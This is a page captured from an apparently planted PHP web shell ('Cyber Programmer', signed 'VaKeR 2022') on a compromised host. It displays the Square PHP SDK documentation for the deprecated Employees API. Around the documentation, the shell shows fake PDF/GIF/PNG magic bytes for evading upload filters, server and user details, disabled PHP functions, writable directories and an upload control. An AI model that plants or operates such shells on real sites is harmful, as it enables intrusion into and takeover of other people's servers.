%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/square/square/doc/apis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/square/square/doc/apis/employees.md
# Employees

```php
$employeesApi = $client->getEmployeesApi();
```

## Class Name

`EmployeesApi`

## Methods

* [List Employees](/doc/apis/employees.md#list-employees)
* [Retrieve Employee](/doc/apis/employees.md#retrieve-employee)


# List Employees

**This endpoint is deprecated.**

ListEmployees

```php
function listEmployees(
    ?string $locationId = null,
    ?string $status = null,
    ?int $limit = null,
    ?string $cursor = null
): ApiResponse
```

## Parameters

| Parameter | Type | Tags | Description |
|  --- | --- | --- | --- |
| `locationId` | `?string` | Query, Optional | - |
| `status` | [`?string (EmployeeStatus)`](/doc/models/employee-status.md) | Query, Optional | Specifies the EmployeeStatus to filter the employee by. |
| `limit` | `?int` | Query, Optional | The number of employees to be returned on each page. |
| `cursor` | `?string` | Query, Optional | The token required to retrieve the specified page of results. |

## Response Type

[`ListEmployeesResponse`](/doc/models/list-employees-response.md)

## Example Usage

```php
$locationId = 'location_id4';
$status = Models\EmployeeStatus::ACTIVE;
$limit = 172;
$cursor = 'cursor6';

$apiResponse = $employeesApi->listEmployees($locationId, $status, $limit, $cursor);

if ($apiResponse->isSuccess()) {
    $listEmployeesResponse = $apiResponse->getResult();
} else {
    $errors = $apiResponse->getErrors();
}

// Get more response info...
// $statusCode = $apiResponse->getStatusCode();
// $headers = $apiResponse->getHeaders();
```


# Retrieve Employee

**This endpoint is deprecated.**

RetrieveEmployee

```php
function retrieveEmployee(string $id): ApiResponse
```

## Parameters

| Parameter | Type | Tags | Description |
|  --- | --- | --- | --- |
| `id` | `string` | Template, Required | UUID for the employee that was requested. |

## Response Type

[`RetrieveEmployeeResponse`](/doc/models/retrieve-employee-response.md)

## Example Usage

```php
$id = 'id0';

$apiResponse = $employeesApi->retrieveEmployee($id);

if ($apiResponse->isSuccess()) {
    $retrieveEmployeeResponse = $apiResponse->getResult();
} else {
    $errors = $apiResponse->getErrors();
}

// Get more response info...
// $statusCode = $apiResponse->getStatusCode();
// $headers = $apiResponse->getHeaders();
```


VaKeR 2022